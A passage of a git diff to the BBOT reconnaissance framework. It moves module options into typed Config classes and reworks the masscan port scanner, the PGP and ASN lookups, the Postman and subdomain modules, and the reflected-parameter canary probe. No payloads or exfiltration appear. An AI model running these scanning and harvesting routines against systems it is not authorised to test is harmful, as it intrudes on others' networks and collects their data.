-            "https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=<query>",
-            "http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=<query>",
-            "https://pgpkeys.eu/pks/lookup?search=<query>&op=index",
-            "https://pgp.mit.edu/pks/lookup?search=<query>&op=index",
-        ]
-    }
-    options_desc = {"search_urls": "PGP key servers to search"}
+
+    class Config(BaseModuleConfig):
+        search_urls: list[str] = Field(
+            [
+                "https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=<query>",
+                "http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=<query>",
+                "https://pgpkeys.eu/pks/lookup?search=<query>&op=index",
+                "https://pgp.mit.edu/pks/lookup?search=<query>&op=index",
+            ],
+            description="PGP key servers to search",
+        )
 
     async def handle_event(self, event):
         query = self.make_query(event)
@@ -31,16 +33,15 @@ async def handle_event(self, event):
                     "EMAIL_ADDRESS",
                     event,
                     abort_if=self.abort_if,
-                    context=f'{{module}} queried PGP keyserver {keyserver} for "{query}" and found {{event.type}}: {{event.data}}',
+                    context=f'{{module}} queried PGP keyserver {keyserver} for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                 )
 
     async def query(self, query):
         results = set()
         urls = self.config.get("search_urls", [])
         urls = [url.replace("<query>", self.helpers.quote(query)) for url in urls]
-        async for url, response in self.helpers.request_batch(urls):
+        async for url, response in self.helpers.request_batch_stream(urls):
             keyserver = self.helpers.urlparse(url).netloc
-            response = await self.helpers.request(url)
             if response is not None:
                 for email in await self.helpers.re.extract_emails(response.text):
                     email = email.lower()
diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py
index 43b3e97d5b..65c110b10a 100644
--- a/bbot/modules/portfilter.py
+++ b/bbot/modules/portfilter.py
@@ -1,25 +1,24 @@
 from bbot.modules.base import BaseInterceptModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class portfilter(BaseInterceptModule):
     watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"]
-    flags = ["passive", "safe"]
+    flags = ["safe", "passive"]
     meta = {
         "description": "Filter out unwanted open ports from cloud/CDN targets",
         "created_date": "2025-01-06",
         "author": "@TheTechromancer",
     }
-    options = {
-        "cdn_tags": "cdn-",
-        "allowed_cdn_ports": "80,443",
-    }
-    options_desc = {
-        "cdn_tags": "Comma-separated list of tags to skip, e.g. 'cdn,cloud'",
-        "allowed_cdn_ports": "Comma-separated list of ports that are allowed to be scanned for CDNs",
-    }
+
+    class Config(BaseModuleConfig):
+        cdn_tags: str = Field("cdn,waf", description="Comma-separated list of tags to skip, e.g. 'cdn,waf'")
+        allowed_cdn_ports: str = Field(
+            "80,443", description="Comma-separated list of ports that are allowed to be scanned for CDNs"
+        )
 
     _priority = 4
-    # we consume URLs but we don't want to automatically enable httpx
+    # we consume URLs but we don't want to automatically enable blasthttp
     _disable_auto_module_deps = True
 
     async def setup(self):
@@ -36,10 +35,9 @@ async def handle_event(self, event, **kwargs):
         # if the port isn't in our list of allowed CDN ports
         if event.port not in self.allowed_cdn_ports:
             for cdn_tag in self.cdn_tags:
-                # and if any of the event's tags match our CDN filter
-                if any(t.startswith(str(cdn_tag)) for t in event.tags):
+                if cdn_tag in event.tags:
                     return (
                         False,
-                        f"one of the event's tags matches the tag '{cdn_tag}' and the port is not in the allowed list",
+                        f"event has tag '{cdn_tag}' and the port is not in the allowed list",
                     )
         return True
diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py
index 314ee2f94f..c2ea1e42c5 100644
--- a/bbot/modules/portscan.py
+++ b/bbot/modules/portscan.py
@@ -4,13 +4,14 @@
 from radixtarget import RadixTarget, host_size_key
 
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 # TODO: this module is getting big. It should probably be two modules: one for ping and one for SYN.
 
 
 class portscan(BaseModule):
-    flags = ["active", "portscan", "safe"]
+    flags = ["loud", "active", "portscan"]
     watched_events = ["IP_ADDRESS", "IP_RANGE", "DNS_NAME"]
     produced_events = ["OPEN_TCP_PORT"]
     meta = {
@@ -18,33 +19,35 @@ class portscan(BaseModule):
         "created_date": "2024-05-15",
         "author": "@TheTechromancer",
     }
-    options = {
-        "top_ports": 100,
-        "ports": "",
-        # ping scan at 600 packets/s ~= private IP space in 8 hours
-        "rate": 300,
-        "wait": 5,
-        "ping_first": False,
-        "ping_only": False,
-        "adapter": "",
-        "adapter_ip": "",
-        "adapter_mac": "",
-        "router_mac": "",
-        "module_timeout": 259200,  # 3 days
-    }
-    options_desc = {
-        "top_ports": "Top ports to scan (default 100) (to override, specify 'ports')",
-        "ports": "Ports to scan",
-        "rate": "Rate in packets per second",
-        "wait": "Seconds to wait for replies after scan is complete",
-        "ping_first": "Only portscan hosts that reply to pings",
-        "ping_only": "Ping sweep only, no portscan",
-        "adapter": 'Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.',
-        "adapter_ip": "Send packets using this IP address. Not needed unless masscan's autodetection fails",
-        "adapter_mac": "Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails",
-        "router_mac": "Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails",
-        "module_timeout": "Max time in seconds to spend handling each batch of events",
-    }
+
+    class Config(BaseModuleConfig):
+        top_ports: int = Field(100, description="Top ports to scan (default 100) (to override, specify 'ports')")
+        ports: str = Field("", description="Ports to scan")
+        rate: int = Field(300, description="Rate in packets per second")
+        wait: int = Field(5, description="Seconds to wait for replies after scan is complete")
+        ping_first: bool = Field(False, description="Only portscan hosts that reply to pings")
+        ping_only: bool = Field(False, description="Ping sweep only, no portscan")
+        adapter: str = Field(
+            "",
+            description='Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.',
+        )
+        adapter_ip: str = Field(
+            "", description="Send packets using this IP address. Not needed unless masscan's autodetection fails"
+        )
+        adapter_mac: str = Field(
+            "",
+            description="Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails",
+        )
+        router_mac: str = Field(
+            "",
+            description="Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails",
+        )
+        skip_tags: str = Field(
+            "",
+            description="Comma-separated event tags that will be excluded from scanning (e.g. 'cdn,waf'). speculate will emit assumed-open ports for these instead.",
+        )
+        module_timeout: int = Field(259200, description="Max time in seconds to spend handling each batch of events")
+
     deps_common = ["masscan"]
     batch_size = 1000000
     _shuffle_incoming_queue = False
@@ -66,6 +69,7 @@ async def setup(self):
                 self.helpers.parse_port_string(self.ports)
             except ValueError as e:
                 return False, f"Error parsing ports '{self.ports}': {e}"
+        self.skip_tags = {t.strip() for t in self.config.get("skip_tags", "").split(",") if t.strip()}
 
         # keeps track of individual scanned IPs and their open ports
         # this is necessary because we may encounter more hosts with the same IP
@@ -92,6 +96,16 @@ async def setup(self):
             self.ipv6_support = False
         return True
 
+    def would_skip(self, event):
+        if not self.skip_tags:
+            return False
+        return bool(self.skip_tags & set(event.tags or ()))
+
+    async def filter_event(self, event):
+        if self.would_skip(event):
+            return False, f"event has tag(s) {self.skip_tags & set(event.tags)}, skipping portscan"
+        return True
+
     async def handle_batch(self, *events):
         # ping scan
         if self.ping_scan:
@@ -126,7 +140,7 @@ async def masscan(self, targets, correlator, ping=False):
             with open(stats_file, "w") as stats_fh:
                 async for line in self.run_process_live(command, sudo=True, stderr=stats_fh):
                     for ip, port in self.parse_json_line(line):
-                        parent_events = correlator.search(ip)
+                        parent_events = correlator.search(str(ip))
                         # masscan gets the occasional junk result. this is harmless and
                         # seems to be a side effect of it having its own TCP stack
                         # see https://github.com/robertdavidgraham/masscan/issues/397
@@ -152,7 +166,7 @@ async def make_targets(self, events, scanned_tracker):
         """
         correlator = RadixTarget()
         targets = set()
-        for event in sorted(events, key=lambda e: host_size_key(e.host)):
+        for event in sorted(events, key=lambda e: host_size_key(str(e.host))):
             # skip events without host
             if not event.host:
                 continue
@@ -184,16 +198,17 @@ async def make_targets(self, events, scanned_tracker):
                             await self.emit_open_port(event.host, port, event)
 
                 # build a correlation from the IP back to its original parent event
-                events_set = correlator.search(ip)
+                ip_str = str(ip)
+                events_set = correlator.search(ip_str)
                 if events_set is None:
-                    correlator.insert(ip, {event})
+                    correlator.insert(ip_str, {event})
                 else:
                     events_set.add(event)
 
                 # has this IP already been scanned?
-                if not scanned_tracker.get(ip):
+                if not scanned_tracker.get(ip_str):
                     # if not, add it to targets!
-                    scanned_tracker.add(ip)
+                    scanned_tracker.add(ip_str)
                     targets.add(ip)
                 else:
                     self.debug(f"Skipping {ip} because it's already been scanned")
@@ -220,9 +235,16 @@ async def emit_open_port(self, ip, port, parent_event):
             event_data,
             event_type,
             parent=parent_event,
-            context=f"{{module}} executed a {scan_type} scan against {parent_event.data} and found: {{event.type}}: {{event.data}}",
+            context=f"{{module}} executed a {scan_type} scan against {parent_event.data} and found: {{event.type}}: {{event.pretty_string}}",
         )
 
+        # In ping_first mode, this event gets reused immediately in the SYN
+        # make_targets() call — before dnsresolve has populated it. Seed
+        # resolved_hosts from the parent so hostnames still correlate to IPs.
+        if parent_is_dns_name and parent_event._resolved_hosts:
+            # share the parent's frozenset by reference — it's immutable
+            event._resolved_hosts = parent_event._resolved_hosts
+
         await self.emit_event(event)
         return event
 
diff --git a/bbot/modules/postman.py b/bbot/modules/postman.py
index f6eafc6ff9..c6a429cc8f 100644
--- a/bbot/modules/postman.py
+++ b/bbot/modules/postman.py
@@ -1,17 +1,20 @@
 from bbot.modules.templates.postman import postman
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class postman(postman):
     watched_events = ["ORG_STUB", "SOCIAL"]
     produced_events = ["CODE_REPOSITORY"]
-    flags = ["passive", "subdomain-enum", "safe", "code-enum"]
+    flags = ["safe", "passive", "subdomain-enum", "code-enum"]
     meta = {
         "description": "Query Postman's API for related workspaces, collections, requests and download them",
         "created_date": "2024-09-07",
         "author": "@domwhewell-sage",
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "Postman API Key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Postman API Key", sensitive=True, mandatory=True)
+
     reject_wildcards = False
 
     async def handle_event(self, event):
diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py
index 6e946c9c43..cb40741ef5 100644
--- a/bbot/modules/postman_download.py
+++ b/bbot/modules/postman_download.py
@@ -2,22 +2,26 @@
 import json
 from pathlib import Path
 from bbot.modules.templates.postman import postman
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class postman_download(postman):
     watched_events = ["CODE_REPOSITORY"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "subdomain-enum", "safe", "code-enum", "download"]
+    flags = ["safe", "passive", "subdomain-enum", "code-enum", "download"]
     meta = {
         "description": "Download workspaces, collections, requests from Postman",
         "created_date": "2024-09-07",
         "author": "@domwhewell-sage",
     }
-    options = {"output_folder": "", "api_key": ""}
-    options_desc = {
-        "output_folder": "Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.",
-        "api_key": "Postman API Key",
-    }
+
+    class Config(BaseModuleConfig):
+        output_folder: str = Field(
+            "",
+            description="Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.",
+        )
+        api_key: str | list[str] = Field("", description="Postman API Key", sensitive=True, mandatory=True)
+
     scope_distance_modifier = 2
 
     async def setup(self):
@@ -36,7 +40,7 @@ async def filter_event(self, event):
         return True
 
     async def handle_event(self, event):
-        repo_url = event.data.get("url")
+        repo_url = event.url
         workspace_id = await self.get_workspace_id(repo_url)
         if workspace_id:
             self.verbose(f"Found workspace ID {workspace_id} for {repo_url}")
diff --git a/bbot/modules/rapiddns.py b/bbot/modules/rapiddns.py
index 150728eca3..98252b71c5 100644
--- a/bbot/modules/rapiddns.py
+++ b/bbot/modules/rapiddns.py
@@ -2,7 +2,7 @@
 
 
 class rapiddns(subdomain_enum):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
@@ -15,7 +15,7 @@ class rapiddns(subdomain_enum):
 
     async def request_url(self, query):
         url = f"{self.base_url}/subdomain/{self.helpers.quote(query)}?full=1#result"
-        response = await self.api_request(url, timeout=self.http_timeout + 10)
+        response = await self.api_request(url, timeout=self.http_timeout_infrastructure + 10)
         return response
 
     async def parse_results(self, r, query):
diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py
index f7e17e57e6..e4ffa8d96d 100644
--- a/bbot/modules/reflected_parameters.py
+++ b/bbot/modules/reflected_parameters.py
@@ -4,7 +4,7 @@
 class reflected_parameters(BaseModule):
     watched_events = ["WEB_PARAMETER"]
     produced_events = ["FINDING"]
-    flags = ["active", "safe", "web-thorough"]
+    flags = ["safe", "active", "web-heavy"]
     meta = {
         "description": "Highlight parameters that reflect their contents in response body",
         "author": "@liquidsec",
@@ -12,7 +12,7 @@ class reflected_parameters(BaseModule):
     }
 
     async def handle_event(self, event):
-        url = event.data.get("url")
+        url = event.url
         reflection_detected = await self.detect_reflection(event, url)
 
         if reflection_detected:
@@ -25,7 +25,14 @@ async def handle_event(self, event):
                 description += (
                     f" Original Value: [{self.helpers.truncate_string(str(event.data['original_value']), 200)}]"
                 )
-            data = {"host": str(event.host), "description": description, "url": url}
+            data = {
+                "host": str(event.host),
+                "description": description,
+                "url": url,
+                "name": "Reflected Parameter",
+                "severity": "INFO",
+                "confidence": "HIGH",
+            }
             await self.emit_event(data, "FINDING", event)
 
     async def detect_reflection(self, event, url):
@@ -51,22 +58,27 @@ async def detect_reflection(self, event, url):
 
     async def send_probe_with_canary(self, event, parameter_name, parameter_value, canary_value, cookies, timeout=10):
         method = "GET"
-        url = event.data["url"]
+        url = event.url
         headers = {}
         data = None
         json_data = None
         params = {parameter_name: parameter_value, "c4n4ry": canary_value}
+        param_type = event.data["type"]
 
-        if event.data["type"] == "GETPARAM":
-            url = f"{url}?{parameter_name}={parameter_value}&c4n4ry={canary_value}"
-        elif event.data["type"] == "COOKIE":
+        if param_type == "GETPARAM":
+            url = self.helpers.add_get_params(
+                url,
+                {parameter_name: parameter_value, "c4n4ry": canary_value},
+                encode=False,
+            ).geturl()
+        elif param_type == "COOKIE":
             cookies.update(params)
-        elif event.data["type"] == "HEADER":
+        elif param_type == "HEADER":
             headers.update(params)
-        elif event.data["type"] == "POSTPARAM":
+        elif param_type == "POSTPARAM":
             method = "POST"
             data = params
-        elif event.data["type"] == "BODYJSON":
+        elif param_type == "BODYJSON":
             method = "POST"
             json_data = params
 
diff --git a/bbot/modules/report/affiliates.py b/bbot/modules/report/affiliates.py
index a67c665504..59ca9a25b0 100644
--- a/bbot/modules/report/affiliates.py
+++ b/bbot/modules/report/affiliates.py
@@ -4,7 +4,7 @@
 class affiliates(BaseReportModule):
     watched_events = ["*"]
     produced_events = []
-    flags = ["passive", "safe", "affiliates"]
+    flags = ["safe", "passive", "affiliates"]
     meta = {
         "description": "Summarize affiliate domains at the end of a scan",
         "created_date": "2022-07-25",
diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py
index 3b3c488d15..2e9663a7d5 100644
--- a/bbot/modules/report/asn.py
+++ b/bbot/modules/report/asn.py
@@ -1,12 +1,13 @@
 from bbot.modules.report.base import BaseReportModule
+from bbot.core.helpers.asn import ASNHelper
 
 
 class asn(BaseReportModule):
     watched_events = ["IP_ADDRESS"]
     produced_events = ["ASN"]
-    flags = ["passive", "subdomain-enum", "safe"]
+    flags = ["safe", "passive", "subdomain-enum"]
     meta = {
-        "description": "Query ripe and bgpview.io for ASNs",
+        "description": "Query asndb for ASN information",
         "created_date": "2022-07-25",
         "author": "@TheTechromancer",
     }
@@ -16,237 +17,65 @@ class asn(BaseReportModule):
     accept_dupes = True
 
     async def setup(self):
-        self.asn_counts = {}
-        self.asn_cache = {}
-        self.ripe_cache = {}
-        self.sources = ["bgpview", "ripe"]
-        self.unknown_asn = {
-            "asn": "UNKNOWN",
-            "subnet": "0.0.0.0/32",
-            "name": "unknown",
-            "description": "unknown",
-            "country": "",
-        }
+        self.unknown_asn = ASNHelper.UNKNOWN_ASN
+        self.asn_metadata = {}
         return True
 
     async def filter_event(self, event):
         if str(event.module) == "ipneighbor":
             return False
-        if getattr(event.host, "is_private", False):
+        # only look up globally-routable IPs; private/CGNAT/reserved space has no public ASN
+        if not getattr(event.host, "is_global", True):
             return False
         return True
 
     async def handle_event(self, event):
         host = event.host
-        if self.cache_get(host) is False:
-            asns, source = await self.get_asn(host)
-            if not asns:
-                self.cache_put(self.unknown_asn)
-            else:
-                for asn in asns:
-                    emails = asn.pop("emails", [])
-                    self.cache_put(asn)
-                    asn_event = self.make_event(asn, "ASN", parent=event)
-                    asn_number = asn.get("asn", "")
-                    asn_desc = asn.get("description", "")
-                    asn_name = asn.get("name", "")
-                    asn_subnet = asn.get("subnet", "")
-                    if not asn_event:
-                        continue
+        host_str = str(host)
+
+        asn_data = await self.helpers.asn.ip_to_subnets(host_str)
+        if asn_data:
+            asn_number = asn_data.get("asn", 0)
+            asn_description = asn_data.get("description", "")
+            asn_name = asn_data.get("name", "")
+            asn_country = asn_data.get("country", "")
+            subnets = asn_data.get("subnets", [])
+
+            if asn_number and asn_number != 0:
+                if asn_number not in self.asn_metadata:
+                    self.asn_metadata[asn_number] = {
+                        "subnet_count": len(subnets),
+                        "name": asn_name,
+                        "description": asn_description,
+                        "country": asn_country,
+                    }
+
+            # Don't emit ASN 0 - it's reserved and indicates unknown ASN data
+            if asn_number != 0:
+                asn_event = self.make_event(asn_number, "ASN", parent=event)
+                if asn_event:
                     await self.emit_event(
                         asn_event,
-                        context=f"{{module}} checked {event.data} against {source} API and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_subnet})",
+                        context=f"{{module}} looked up {event.pretty_string} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_description}, {asn_country})",
                     )
-                    for email in emails:
-                        await self.emit_event(
-                            email,
-                            "EMAIL_ADDRESS",
-                            parent=asn_event,
-                            context=f"{{module}} retrieved details for AS{asn_number} and found {{event.type}}: {{event.data}}",
-                        )
 
     async def report(self):
-        asn_data = sorted(self.asn_cache.items(), key=lambda x: self.asn_counts[x[0]], reverse=True)
-        if not asn_data:
+        if not self.asn_metadata:
             return
-        header = ["ASN", "Subnet", "Host Count", "Name", "Description", "Country"]
-        table = []
-        for subnet, asn in asn_data:
-            count = self.asn_counts[subnet]
-            number = asn["asn"]
-            if number != "UNKNOWN":
-                number = "AS" + number
-            name = asn["name"]
-            country = asn["country"]
-            description = asn["description"]
-            table.append([number, str(subnet), f"{count:,}", name, description, country])
-        self.log_table(table, header, table_name="asns")
 
-    def cache_put(self, asn):
-        asn = dict(asn)
-        subnet = self.helpers.make_ip_type(asn.pop("subnet"))
-        self.asn_cache[subnet] = asn
-        try:
-            self.asn_counts[subnet] += 1
-        except KeyError:
-            self.asn_counts[subnet] = 1
-
-    def cache_get(self, ip):
-        ret = False
-        for p in self.helpers.ip_network_parents(ip):
-            try:
-                self.asn_counts[p] += 1
-                if ret is False:
-                    ret = p
-            except KeyError:
-                continue
-        return ret
-
-    async def get_asn(self, ip, retries=1):
-        """
-        Takes in an IP
-        returns a list of ASNs, e.g.:
-            [{'asn': '54113', 'subnet': '2606:50c0:8000::/48', 'name': 'FASTLY', 'description': 'Fastly', 'country': 'US', 'emails': []}, {'asn': '54113', 'subnet': '2606:50c0:8000::/46', 'name': 'FASTLY', 'description': 'Fastly', 'country': 'US', 'emails': []}]
-        """
-        for attempt in range(retries + 1):
-            for i, source in enumerate(list(self.sources)):
-                get_asn_fn = getattr(self, f"get_asn_{source}")
-                res = await get_asn_fn(ip)
-                if res is False:
-                    # demote the current source to lowest priority since it just failed
-                    self.sources.append(self.sources.pop(i))
-                    self.verbose(f"Failed to contact {source}, retrying")
-                    continue
-                return res, source
-        self.warning(f"Error retrieving ASN for {ip}")
-        return [], ""
-
-    async def get_asn_ripe(self, ip):
-        url = f"https://stat.ripe.net/data/network-info/data.json?resource={ip}"
-        response = await self.get_url(url, "ASN")
-        asns = []
-        if response is False:
-            return False
-        data = response.get("data", {})
-        if not data:
-            data = {}
-        prefix = data.get("prefix", "")
-        asn_numbers = data.get("asns", [])
-        if not prefix or not asn_numbers:
-            return []
-        if not asn_numbers:
-            asn_numbers = []
-        for number in asn_numbers:
-            asn = await self.get_asn_metadata_ripe(number)
-            if asn is False:
-                return False
-            asn["subnet"] = prefix
-            asns.append(asn)
-        return asns
+        sorted_asns = sorted(self.asn_metadata.items(), key=lambda x: int(x[0]))
 
-    async def get_asn_metadata_ripe(self, asn_number):
-        try:
-            return self.ripe_cache[asn_number]
-        except KeyError:
-            metadata_keys = {
-                "name": ["ASName", "OrgId"],
-                "description": ["OrgName", "OrgTechName", "RTechName"],
-                "country": ["Country"],
-            }
-            url = f"https://stat.ripe.net/data/whois/data.json?resource={asn_number}"
-            response = await self.get_url(url, "ASN Metadata", cache=True)
-            if response is False:
-                return False
-            data = response.get("data", {})
-            if not data:
-                data = {}
-            records = data.get("records", [])
-            if not records:
-                records = []
-            emails = set()
-            asn = {k: "" for k in metadata_keys.keys()}
-            for record in records:
-                for item in record:
-                    key = item.get("key", "")
-                    value = item.get("value", "")
-                    for email in await self.helpers.re.extract_emails(value):
-                        emails.add(email.lower())
-                    if not key:
-                        continue
-                    if value:
-                        for keyname, keyvals in metadata_keys.items():
-                            if key in keyvals and not asn.get(keyname, ""):
-                                asn[keyname] = value
-            asn["emails"] = list(emails)
-            asn["asn"] = str(asn_number)
-            self.ripe_cache[asn_number] = asn
-            return asn
-
-    async def get_asn_bgpview(self, ip):
-        url = f"https://api.bgpview.io/ip/{ip}"
-        data = await self.get_url(url, "ASN")
-        asns = []
-        asns_tried = set()
-        if data is False:
-            return False
-        data = data.get("data", {})
-        prefixes = data.get("prefixes", [])
-        for prefix in prefixes:
-            details = prefix.get("asn", {})
-            asn = str(details.get("asn", ""))
-            subnet = prefix.get("prefix", "")
-            if not (asn or subnet):
-                continue
-            name = details.get("name") or prefix.get("name") or ""
-            description = details.get("description") or prefix.get("description") or ""
-            country = details.get("country_code") or prefix.get("country_code") or ""
-            emails = []
-            if asn not in asns_tried:
-                emails = await self.get_emails_bgpview(asn)
-                if emails is False:
-                    return False
-                asns_tried.add(asn)
-            asns.append(
-                {
-                    "asn": asn,
-                    "subnet": subnet,
-                    "name": name,
-                    "description": description,
-                    "country": country,
-                    "emails": emails,
-                }
+        header = ["ASN", "Subnet Count", "Name", "Description", "Country"]
+        table = []
+        for asn_number, metadata in sorted_asns:
+            table.append(
+                [
+                    f"AS{asn_number}",
+                    f"{metadata['subnet_count']:,}",
+                    metadata["name"],
+                    metadata["description"],
+                    metadata["country"],
+                ]
             )
-        if not asns:
-            self.debug(f'No results for "{ip}"')
-        return asns
-
-    async def get_emails_bgpview(self, asn):
-        contacts = []
-        url = f"https://api.bgpview.io/asn/{asn}"
-        data = await self.get_url(url, "ASN metadata", cache=True)
-        if data is False:
-            return False
-        data = data.get("data", {})
-        if not data:
-            self.debug(f'No results for "{asn}"')
-            return
-        email_contacts = data.get("email_contacts", [])
-        abuse_contacts = data.get("abuse_contacts", [])
-        contacts = [l.strip().lower() for l in email_contacts + abuse_contacts]
-        return list(set(contacts))
 
-    async def get_url(self, url, data_type, cache=False):
-        kwargs = {}
-        if cache:
-            kwargs["cache_for"] = 60 * 60 * 24
-        r = await self.helpers.request(url, **kwargs)
-        data = {}
-        try:
-            j = r.json()
-            if not isinstance(j, dict):
-                return data
-            return j
-        except Exception as e:
-            self.verbose(f"Error retrieving {data_type} at {url}: {e}", trace=True)
-            self.debug(f"Got data: {getattr(r, 'content', '')}")
-            return False
+        self.log_table(table, header, table_name="asns")
diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py
index 27e8fec407..f86eefe455 100644
--- a/bbot/modules/retirejs.py
+++ b/bbot/modules/retirejs.py
@@ -1,6 +1,9 @@
 import json
 from enum import IntEnum
+from typing import Literal
 from bbot.modules.base import BaseModule
+from pydantic import Field, field_validator
+from bbot.core.config.models import BaseModuleConfig
 
 
 class RetireJSSeverity(IntEnum):
@@ -21,22 +24,24 @@ def from_string(cls, severity_str):
 class retirejs(BaseModule):
     watched_events = ["URL_UNVERIFIED"]
     produced_events = ["FINDING"]
-    flags = ["active", "safe", "web-thorough"]
+    flags = ["safe", "active", "web-heavy"]
     meta = {
         "description": "Detect vulnerable/out-of-date JavaScript libraries",
         "created_date": "2025-08-19",
         "author": "@liquidsec",
     }
-    options = {
-        "version": "5.3.0",
-        "node_version": "18.19.1",
-        "severity": "medium",
-    }
-    options_desc = {
-        "version": "retire.js version",
-        "node_version": "Node.js version to install locally",
-        "severity": "Minimum severity level to report (none, low, medium, high, critical)",
-    }
+
+    class Config(BaseModuleConfig):
+        version: str = Field("5.3.0", description="retire.js version")
+        node_version: str = Field("18.19.1", description="Node.js version to install locally")
+        severity: Literal["none", "low", "medium", "high", "critical"] = Field(
+            "medium", description="Minimum severity level to report (none, low, medium, high, critical)"
+        )
+
+        @field_validator("severity", mode="before")
+        @classmethod
+        def _normalize_case(cls, v):
+            return v.lower() if isinstance(v, str) else v
 
     deps_ansible = [
         # Download Node.js binary (Linux x64)
@@ -116,15 +121,6 @@ async def setup(self):
         if not excavate_enabled:
             return None, "retirejs will not function without excavate enabled"
 
-        # Validate severity level
-        valid_severities = ["none", "low", "medium", "high", "critical"]
-        configured_severity = self.config.get("severity", "medium").lower()
-        if configured_severity not in valid_severities:
-            return (
-                False,
-                f"Invalid severity level '{configured_severity}'. Valid options are: {', '.join(valid_severities)}",
-            )
-
         self.repofile = await self.helpers.download(
             "https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/jsrepository-v4.json", cache_hrs=24
         )
@@ -133,7 +129,7 @@ async def setup(self):
         return True
 
     async def handle_event(self, event):
-        js_file = await self.helpers.request(event.data)
+        js_file = await self.helpers.request(event.url)
         if js_file:
             js_file_body = js_file.text
             if js_file_body:
@@ -168,7 +164,7 @@ async def handle_event(self, event):
                                     f"Vulnerable JavaScript library detected: {component} v{version}",
                                     f"Severity: {severity.upper()}",
                                     f"Summary: {summary}",
-                                    f"JavaScript URL: {event.data}",
+                                    f"JavaScript URL: {event.url}",
                                 ]
                                 if cves:
                                     description_parts.append(f"CVE(s): {', '.join(cves)}")
@@ -183,10 +179,12 @@ async def handle_event(self, event):
                                     description_parts.append(f"Affected versions: [>= {at_or_above}]")
                                 description = " ".join(description_parts)
                                 data = {
+                                    "name": "Vulnerable JavaScript Library",
                                     "description": description,
-                                    "severity": severity,
+                                    "severity": "INFO",
+                                    "confidence": "HIGH",
                                     "component": component,
-                                    "url": event.parent.data["url"],
+                                    "url": event.parent.url,
                                 }
                                 await self.emit_event(
                                     data,
diff --git a/bbot/modules/robots.py b/bbot/modules/robots.py
index e41b3119fb..62199e8042 100644
--- a/bbot/modules/robots.py
+++ b/bbot/modules/robots.py
@@ -1,18 +1,17 @@
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class robots(BaseModule):
     watched_events = ["URL"]
     produced_events = ["URL_UNVERIFIED"]
-    flags = ["active", "safe", "web-basic"]
+    flags = ["safe", "active", "web"]
     meta = {"description": "Look for and parse robots.txt", "created_date": "2023-02-01", "author": "@liquidsec"}
 
-    options = {"include_sitemap": False, "include_allow": True, "include_disallow": True}
-    options_desc = {
-        "include_sitemap": "Include 'sitemap' entries",
-        "include_allow": "Include 'Allow' Entries",
-        "include_disallow": "Include 'Disallow' Entries",
-    }
+    class Config(BaseModuleConfig):
+        include_sitemap: bool = Field(False, description="Include 'sitemap' entries")
+        include_allow: bool = Field(True, description="Include 'Allow' Entries")
+        include_disallow: bool = Field(True, description="Include 'Disallow' Entries")
 
     in_scope_only = True
     per_hostport_only = True
@@ -49,5 +48,5 @@ async def handle_event(self, event):
                             "URL_UNVERIFIED",
                             parent=event,
                             tags=["spider-danger"],
-                            context=f"{{module}} found robots.txt at {url} and extracted {{event.type}}: {{event.data}}",
+                            context=f"{{module}} found robots.txt at {url} and extracted {{event.type}}: {{event.pretty_string}}",
                         )
diff --git a/bbot/modules/securitytrails.py b/bbot/modules/securitytrails.py
index b92ac07dc1..15fb4bf09e 100644
--- a/bbot/modules/securitytrails.py
+++ b/bbot/modules/securitytrails.py
@@ -1,18 +1,19 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class securitytrails(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query the SecurityTrails API for subdomains",
         "created_date": "2022-07-03",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "SecurityTrails API key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="SecurityTrails API key", sensitive=True, mandatory=True)
 
     base_url = "https://api.securitytrails.com/v1"
     ping_url = f"{base_url}/ping?apikey={{api_key}}"
diff --git a/bbot/modules/securitytxt.py b/bbot/modules/securitytxt.py
index d7e26c0b5f..d6b0383007 100644
--- a/bbot/modules/securitytxt.py
+++ b/bbot/modules/securitytxt.py
@@ -50,6 +50,7 @@
 import re
 
 from bbot.core.helpers.regexes import email_regex, url_regexes
+from bbot.core.config.models import BaseModuleConfig, Field
 
